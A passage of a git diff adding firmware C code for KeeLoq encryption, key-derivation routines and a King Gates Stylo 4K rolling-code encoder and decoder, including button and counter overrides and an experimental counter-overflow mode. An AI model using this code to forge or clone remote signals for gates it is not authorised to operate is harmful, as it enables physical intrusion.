+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderKeeloq.
+ * @param context Pointer to a SubGhzProtocolDecoderKeeloq instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return SubGhzProtocolStatus
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderKeeloq instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_keeloq_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.c
new file mode 100644
index 000000000..a9a2238dd
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.c
@@ -0,0 +1,142 @@
+#include "keeloq_common.h"
+
+#include <furi.h>
+
+#include <m-array.h>
+
+#define bit(x, n) (((x) >> (n)) & 1)
+#define g5(x, a, b, c, d, e) \
+    (bit(x, a) + bit(x, b) * 2 + bit(x, c) * 4 + bit(x, d) * 8 + bit(x, e) * 16)
+
+/** Simple Learning Encrypt
+ * @param data - 0xBSSSCCCC, B(4bit) key, S(10bit) serial&0x3FF, C(16bit) counter
+ * @param key - manufacture (64bit)
+ * @return keeloq encrypt data
+ */
+inline uint32_t subghz_protocol_keeloq_common_encrypt(const uint32_t data, const uint64_t key) {
+    uint32_t x = data, r;
+    for(r = 0; r < 528; r++)
+        x = (x >> 1) ^ ((bit(x, 0) ^ bit(x, 16) ^ (uint32_t)bit(key, r & 63) ^
+                         bit(KEELOQ_NLF, g5(x, 1, 9, 20, 26, 31)))
+                        << 31);
+    return x;
+}
+
+/** Simple Learning Decrypt
+ * @param data - keeloq encrypt data
+ * @param key - manufacture (64bit)
+ * @return 0xBSSSCCCC, B(4bit) key, S(10bit) serial&0x3FF, C(16bit) counter
+ */
+inline uint32_t subghz_protocol_keeloq_common_decrypt(const uint32_t data, const uint64_t key) {
+    uint32_t x = data, r;
+    for(r = 0; r < 528; r++)
+        x = (x << 1) ^ bit(x, 31) ^ bit(x, 15) ^ (uint32_t)bit(key, (15 - r) & 63) ^
+            bit(KEELOQ_NLF, g5(x, 0, 8, 19, 25, 30));
+    return x;
+}
+
+/** Normal Learning
+ * @param data - serial number (28bit)
+ * @param key - manufacture (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+inline uint64_t subghz_protocol_keeloq_common_normal_learning(uint32_t data, const uint64_t key) {
+    uint32_t k1, k2;
+
+    data &= 0x0FFFFFFF;
+    data |= 0x20000000;
+    k1 = subghz_protocol_keeloq_common_decrypt(data, key);
+
+    data &= 0x0FFFFFFF;
+    data |= 0x60000000;
+    k2 = subghz_protocol_keeloq_common_decrypt(data, key);
+
+    return ((uint64_t)k2 << 32) | k1; // key - shifrovanoya
+}
+
+/** Secure Learning
+ * @param data - serial number (28bit)
+ * @param seed - seed number (32bit)
+ * @param key - manufacture (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+
+inline uint64_t subghz_protocol_keeloq_common_secure_learning(
+    uint32_t data,
+    uint32_t seed,
+    const uint64_t key) {
+    uint32_t k1, k2;
+
+    data &= 0x0FFFFFFF;
+    k1 = subghz_protocol_keeloq_common_decrypt(data, key);
+    k2 = subghz_protocol_keeloq_common_decrypt(seed, key);
+
+    return ((uint64_t)k1 << 32) | k2;
+}
+
+/** Magic_xor_type1 Learning
+ * @param data - serial number (28bit)
+ * @param xor - magic xor (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+
+inline uint64_t
+    subghz_protocol_keeloq_common_magic_xor_type1_learning(uint32_t data, uint64_t xor) {
+    data &= 0x0FFFFFFF;
+    return (((uint64_t)data << 32) | data) ^ xor;
+}
+
+/** Faac SLH (Spa) Learning
+ * @param seed - seed number (32bit)
+ * @param key - mfkey (64bit)
+ * @return man_learning for this seed number (64bit)
+ */
+
+inline uint64_t
+    subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint64_t key) {
+    uint16_t hs = seed >> 16;
+    const uint16_t ending = 0x544D;
+    uint32_t lsb = (uint32_t)hs << 16 | ending;
+    uint64_t man = (uint64_t)subghz_protocol_keeloq_common_encrypt(seed, key) << 32 |
+                   subghz_protocol_keeloq_common_encrypt(lsb, key);
+    return man;
+}
+/** Magic_serial_type1 Learning
+ * @param data - serial number (28bit)
+ * @param man - magic man (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+
+inline uint64_t
+    subghz_protocol_keeloq_common_magic_serial_type1_learning(uint32_t data, uint64_t man) {
+    return (man & 0xFFFFFFFF) | ((uint64_t)data << 40) |
+           ((uint64_t)(((data & 0xff) + ((data >> 8) & 0xFF)) & 0xFF) << 32);
+}
+
+/** Magic_serial_type2 Learning
+ * @param data - btn+serial number (32bit)
+ * @param man - magic man (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+
+inline uint64_t
+    subghz_protocol_keeloq_common_magic_serial_type2_learning(uint32_t data, uint64_t man) {
+    uint8_t* p = (uint8_t*)&data;
+    uint8_t* m = (uint8_t*)&man;
+    m[7] = p[0];
+    m[6] = p[1];
+    m[5] = p[2];
+    m[4] = p[3];
+    return man;
+}
+
+/** Magic_serial_type3 Learning
+ * @param data - serial number (24bit)
+ * @param man - magic man (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+
+inline uint64_t
+    subghz_protocol_keeloq_common_magic_serial_type3_learning(uint32_t data, uint64_t man) {
+    return (man & 0xFFFFFFFFFF000000) | (data & 0xFFFFFF);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.h
new file mode 100644
index 000000000..1250cd2fc
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.h
@@ -0,0 +1,103 @@
+#pragma once
+
+#include "base.h"
+
+#include <furi.h>
+
+/*
+ * Keeloq
+ * https://ru.wikipedia.org/wiki/KeeLoq
+ * https://phreakerclub.com/forum/showthread.php?t=1094
+ *
+ */
+#define KEELOQ_NLF 0x3A5C742E
+
+/*
+ * KeeLoq learning types
+ * https://phreakerclub.com/forum/showthread.php?t=67
+ */
+#define KEELOQ_LEARNING_UNKNOWN             0u
+#define KEELOQ_LEARNING_SIMPLE              1u
+#define KEELOQ_LEARNING_NORMAL              2u
+#define KEELOQ_LEARNING_SECURE              3u
+#define KEELOQ_LEARNING_MAGIC_XOR_TYPE_1    4u
+#define KEELOQ_LEARNING_FAAC                5u
+#define KEELOQ_LEARNING_MAGIC_SERIAL_TYPE_1 6u
+#define KEELOQ_LEARNING_MAGIC_SERIAL_TYPE_2 7u
+#define KEELOQ_LEARNING_MAGIC_SERIAL_TYPE_3 8u
+// #define BENINCA_ARC_KEY_TYPE 9u -- RESERVED
+#define KEELOQ_LEARNING_SIMPLE_KINGGATES    10u
+#define KEELOQ_LEARNING_NORMAL_JAROLIFT     11u
+
+/**
+ * Simple Learning Encrypt
+ * @param data - 0xBSSSCCCC, B(4bit) key, S(10bit) serial&0x3FF, C(16bit) counter
+ * @param key - manufacture (64bit)
+ * @return keeloq encrypt data
+ */
+uint32_t subghz_protocol_keeloq_common_encrypt(const uint32_t data, const uint64_t key);
+
+/** 
+ * Simple Learning Decrypt
+ * @param data - keeloq encrypt data
+ * @param key - manufacture (64bit)
+ * @return 0xBSSSCCCC, B(4bit) key, S(10bit) serial&0x3FF, C(16bit) counter
+ */
+uint32_t subghz_protocol_keeloq_common_decrypt(const uint32_t data, const uint64_t key);
+
+/** 
+ * Normal Learning
+ * @param data - serial number (28bit)
+ * @param key - manufacture (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+uint64_t subghz_protocol_keeloq_common_normal_learning(uint32_t data, const uint64_t key);
+
+/** 
+ * Secure Learning
+ * @param data - serial number (28bit)
+ * @param seed - seed number (32bit)
+ * @param key - manufacture (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+uint64_t
+    subghz_protocol_keeloq_common_secure_learning(uint32_t data, uint32_t seed, const uint64_t key);
+
+/** 
+ * Magic_xor_type1 Learning
+ * @param data - serial number (28bit)
+ * @param xor - magic xor (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+uint64_t subghz_protocol_keeloq_common_magic_xor_type1_learning(uint32_t data, uint64_t xor);
+
+/** Faac SLH (Spa) Learning
+ * @param seed - seed number (32bit)
+ * @param key - mfkey (64bit)
+ * @return man_learning for this fix number (64bit)
+ */
+uint64_t subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint64_t key);
+
+/** Magic_serial_type1 Learning
+ * @param data - serial number (28bit)
+ * @param man - magic man (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+
+uint64_t subghz_protocol_keeloq_common_magic_serial_type1_learning(uint32_t data, uint64_t man);
+
+/** Magic_serial_type2 Learning
+ * @param data - btn+serial number (32bit)
+ * @param man - magic man (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+
+uint64_t subghz_protocol_keeloq_common_magic_serial_type2_learning(uint32_t data, uint64_t man);
+
+/** Magic_serial_type3 Learning
+ * @param data - btn+serial number (32bit)
+ * @param man - magic man (64bit)
+ * @return manufacture for this serial number (64bit)
+ */
+
+uint64_t subghz_protocol_keeloq_common_magic_serial_type3_learning(uint32_t data, uint64_t man);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.c
new file mode 100644
index 000000000..29922c10e
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.c
@@ -0,0 +1,752 @@
+#include "kinggates_stylo_4k.h"
+#include "keeloq_common.h"
+
+#include "../subghz_keystore.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocoKingGatesStylo4k"
+
+static const SubGhzBlockConst subghz_protocol_kinggates_stylo_4k_const = {
+    .te_short = 400,
+    .te_long = 1100,
+    .te_delta = 140,
+    .min_count_bit_for_found = 89,
+};
+
+struct SubGhzProtocolDecoderKingGates_stylo_4k {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint16_t header_count;
+    SubGhzKeystore* keystore;
+};
+
+struct SubGhzProtocolEncoderKingGates_stylo_4k {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+    SubGhzKeystore* keystore;
+};
+
+typedef enum {
+    KingGates_stylo_4kDecoderStepReset = 0,
+    KingGates_stylo_4kDecoderStepCheckPreambula,
+    KingGates_stylo_4kDecoderStepCheckStartBit,
+    KingGates_stylo_4kDecoderStepSaveDuration,
+    KingGates_stylo_4kDecoderStepCheckDuration,
+} KingGates_stylo_4kDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_kinggates_stylo_4k_decoder = {
+    .alloc = subghz_protocol_decoder_kinggates_stylo_4k_alloc,
+    .free = subghz_protocol_decoder_kinggates_stylo_4k_free,
+
+    .feed = subghz_protocol_decoder_kinggates_stylo_4k_feed,
+    .reset = subghz_protocol_decoder_kinggates_stylo_4k_reset,
+
+    .get_hash_data = subghz_protocol_decoder_kinggates_stylo_4k_get_hash_data,
+    .serialize = subghz_protocol_decoder_kinggates_stylo_4k_serialize,
+    .deserialize = subghz_protocol_decoder_kinggates_stylo_4k_deserialize,
+    .get_string = subghz_protocol_decoder_kinggates_stylo_4k_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_kinggates_stylo_4k_encoder = {
+    .alloc = subghz_protocol_encoder_kinggates_stylo_4k_alloc,
+    .free = subghz_protocol_encoder_kinggates_stylo_4k_free,
+
+    .deserialize = subghz_protocol_encoder_kinggates_stylo_4k_deserialize,
+    .stop = subghz_protocol_encoder_kinggates_stylo_4k_stop,
+    .yield = subghz_protocol_encoder_kinggates_stylo_4k_yield,
+};
+
+const SubGhzProtocol subghz_protocol_kinggates_stylo_4k = {
+    .name = SUBGHZ_PROTOCOL_KINGGATES_STYLO_4K_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_kinggates_stylo_4k_decoder,
+    .encoder = &subghz_protocol_kinggates_stylo_4k_encoder,
+};
+
+//
+// Encoder
+//
+
+// Pre define function
+static void subghz_protocol_kinggates_stylo_4k_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore);
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0xE | 0xD | 0xB | 0x7 |
+ * @return Button code
+ */
+static uint8_t subghz_protocol_kinggates_stylo_4k_get_btn_code(void);
+
+void* subghz_protocol_encoder_kinggates_stylo_4k_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderKingGates_stylo_4k* instance =
+        malloc(sizeof(SubGhzProtocolEncoderKingGates_stylo_4k));
+
+    instance->base.protocol = &subghz_protocol_kinggates_stylo_4k;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 512;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    return instance;
+}
+
+void subghz_protocol_encoder_kinggates_stylo_4k_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderKingGates_stylo_4k* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+void subghz_protocol_encoder_kinggates_stylo_4k_stop(void* context) {
+    SubGhzProtocolEncoderKingGates_stylo_4k* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_kinggates_stylo_4k_yield(void* context) {
+    SubGhzProtocolEncoderKingGates_stylo_4k* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+/** 
+ * Key generation from simple data
+ * @param instance Pointer to a SubGhzProtocolEncoderKingGates_stylo_4k* instance
+ * @param btn Button number, 4 bit
+ */
+static bool subghz_protocol_kinggates_stylo_4k_gen_data(
+    SubGhzProtocolEncoderKingGates_stylo_4k* instance,
+    uint8_t btn) {
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    btn = subghz_protocol_kinggates_stylo_4k_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    // hop is encrypted part
+    uint32_t hop = (uint64_t)btn << 28 | (((uint32_t)0x0C) << 24) |
+                   ((instance->generic.serial & 0xFF) << 16) | (instance->generic.cnt & 0xFFFF);
+
+    uint64_t fix = ((uint64_t)((instance->generic.serial >> 16) & 0xFFFF) << 21) |
+                   (uint64_t)btn << 17 | 0b1 << 16 | (instance->generic.serial & 0xFFFF);
+
+    instance->generic.data = subghz_protocol_blocks_reverse_key(fix, 53);
+
+    uint64_t encrypt = 0;
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
+            if(manufacture_code->type == KEELOQ_LEARNING_SIMPLE_KINGGATES) {
+                // Simple Learning
+                encrypt = subghz_protocol_keeloq_common_encrypt(hop, manufacture_code->key);
+                encrypt = subghz_protocol_blocks_reverse_key(encrypt, 32);
+                instance->generic.data_2 = encrypt << 4;
+                return true;
+            }
+        }
+
+    return false;
+}
+
+bool subghz_protocol_kinggates_stylo_4k_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderKingGates_stylo_4k* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.btn = btn;
+    instance->generic.data_count_bit = 89;
+
+    uint32_t decrypt = instance->generic.btn << 28 | (((uint32_t)0x0C) << 24) |
+                       ((instance->generic.serial & 0xFF) << 16) |
+                       (instance->generic.cnt & 0xFFFF);
+
+    uint64_t encrypt = 0;
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
+            if(manufacture_code->type == KEELOQ_LEARNING_SIMPLE_KINGGATES) {
+                // Simple Learning
+                encrypt = subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key);
+                encrypt = subghz_protocol_blocks_reverse_key(encrypt, 32);
+                instance->generic.data_2 = encrypt << 4;
+                break;
+            }
+        }
+
+    uint64_t fix = ((uint64_t)((instance->generic.serial >> 16) & 0xFFFF) << 21) |
+                   instance->generic.btn << 17 | 0b1 << 16 | (instance->generic.serial & 0xFFFF);
+
+    instance->generic.data = subghz_protocol_blocks_reverse_key(fix, 53);
+
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Data2");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    return res == SubGhzProtocolStatusOk;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderKingGates_stylo_4k instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_kinggates_stylo_4k_get_upload(
+    SubGhzProtocolEncoderKingGates_stylo_4k* instance,
+    uint8_t btn) {
+    furi_assert(instance);
+
+    // Gen new key
+    if(!subghz_protocol_kinggates_stylo_4k_gen_data(instance, btn)) {
+        return false;
+    }
+
+    size_t index = 0;
+
+    // Start
+    instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)9500);
+
+    // Send header
+    for(uint8_t i = 12; i > 0; i--) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_short);
+        instance->encoder.upload[index++] = level_duration_make(
+            false, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_short);
+    }
+
+    // After header
+    instance->encoder.upload[index - 1].duration =
+        (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_long * 2;
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_short * 2);
+
+    // Send key fix
+    for(uint8_t i = 53; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_short);
+            instance->encoder.upload[index++] = level_duration_make(
+                true, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_long);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_long);
+            instance->encoder.upload[index++] = level_duration_make(
+                true, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_short);
+        }
+    }
+
+    // Send key hop
+    for(uint8_t i = 36; i > 0; i--) {
+        if(bit_read(instance->generic.data_2, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_short);
+            instance->encoder.upload[index++] = level_duration_make(
+                true, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_long);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_long);
+            instance->encoder.upload[index++] = level_duration_make(
+                true, (uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_short);
+        }
+    }
+
+    // Set upload size after generating upload, fix it later
+
+    instance->encoder.size_upload = index;
+
+    return true;
+}
+
+SubGhzProtocolStatus subghz_protocol_encoder_kinggates_stylo_4k_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderKingGates_stylo_4k* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Data");
+            break;
+        }
+
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
+        }
+
+        subghz_protocol_kinggates_stylo_4k_remote_controller(
+            &instance->generic, instance->keystore);
+
+        subghz_protocol_encoder_kinggates_stylo_4k_get_upload(instance, instance->generic.btn);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Key");
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Data");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+//
+// Decoder
+//
+void* subghz_protocol_decoder_kinggates_stylo_4k_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderKingGates_stylo_4k* instance =
+        malloc(sizeof(SubGhzProtocolDecoderKingGates_stylo_4k));
+    instance->base.protocol = &subghz_protocol_kinggates_stylo_4k;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+    return instance;
+}
+
+void subghz_protocol_decoder_kinggates_stylo_4k_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKingGates_stylo_4k* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_kinggates_stylo_4k_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKingGates_stylo_4k* instance = context;
+    instance->decoder.parser_step = KingGates_stylo_4kDecoderStepReset;
+}
+
+void subghz_protocol_decoder_kinggates_stylo_4k_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKingGates_stylo_4k* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case KingGates_stylo_4kDecoderStepReset:
+        if((level) && DURATION_DIFF(duration, subghz_protocol_kinggates_stylo_4k_const.te_short) <
+                          subghz_protocol_kinggates_stylo_4k_const.te_delta) {
+            instance->decoder.parser_step = KingGates_stylo_4kDecoderStepCheckPreambula;
+            instance->header_count++;
+        }
+        break;
+    case KingGates_stylo_4kDecoderStepCheckPreambula:
+        if((!level) &&
+           (DURATION_DIFF(duration, subghz_protocol_kinggates_stylo_4k_const.te_short) <
+            subghz_protocol_kinggates_stylo_4k_const.te_delta)) {
+            instance->decoder.parser_step = KingGates_stylo_4kDecoderStepReset;
+            break;
+        }
+        if((instance->header_count > 2) &&
+           (DURATION_DIFF(duration, subghz_protocol_kinggates_stylo_4k_const.te_long * 2) <
+            subghz_protocol_kinggates_stylo_4k_const.te_delta * 2)) {
+            // Found header
+            instance->decoder.parser_step = KingGates_stylo_4kDecoderStepCheckStartBit;
+        } else {
+            instance->decoder.parser_step = KingGates_stylo_4kDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    case KingGates_stylo_4kDecoderStepCheckStartBit:
+        if((level) &&
+           DURATION_DIFF(duration, subghz_protocol_kinggates_stylo_4k_const.te_short * 2) <
+               subghz_protocol_kinggates_stylo_4k_const.te_delta * 2) {
+            instance->decoder.parser_step = KingGates_stylo_4kDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->header_count = 0;
+        }
+        break;
+    case KingGates_stylo_4kDecoderStepSaveDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_kinggates_stylo_4k_const.te_long * 3)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_kinggates_stylo_4k_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->generic.data_2;
+                    instance->generic.data_2 = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+
+                instance->decoder.parser_step = KingGates_stylo_4kDecoderStepReset;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->header_count = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = KingGates_stylo_4kDecoderStepCheckDuration;
+            }
+        } else {
+            instance->decoder.parser_step = KingGates_stylo_4kDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    case KingGates_stylo_4kDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_kinggates_stylo_4k_const.te_short) <
+                subghz_protocol_kinggates_stylo_4k_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_kinggates_stylo_4k_const.te_long) <
+                subghz_protocol_kinggates_stylo_4k_const.te_delta * 2)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = KingGates_stylo_4kDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_kinggates_stylo_4k_const.te_long) <
+                 subghz_protocol_kinggates_stylo_4k_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_kinggates_stylo_4k_const.te_short) <
+                 subghz_protocol_kinggates_stylo_4k_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = KingGates_stylo_4kDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = KingGates_stylo_4kDecoderStepReset;
+                instance->header_count = 0;
+            }
+            if(instance->decoder.decode_count_bit == 53) {
+                instance->generic.data_2 = instance->decoder.decode_data;
+                instance->decoder.decode_data = 0;
+            }
+        } else {
+            instance->decoder.parser_step = KingGates_stylo_4kDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param data Input encrypted data
+ * @param keystore Pointer to a SubGhzKeystore* instance
+ */
+static void subghz_protocol_kinggates_stylo_4k_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore) {
+    /**
+ *  9500us   12*(400/400)  2200/800|1-bit|0-bit|
+ *           _   _       _       __   ___     _ 
+ *  ________| |_| |_..._| |_____|  |_|   |___| |.....
+ * 
+ *  1-bit 400/1100 us
+ *  0-bit 1100/400 us
+ *  
+ *  The package consists of 89 bits of data, LSB first  
+ *  Data        - 1C9037F0C80000 CE280BA00
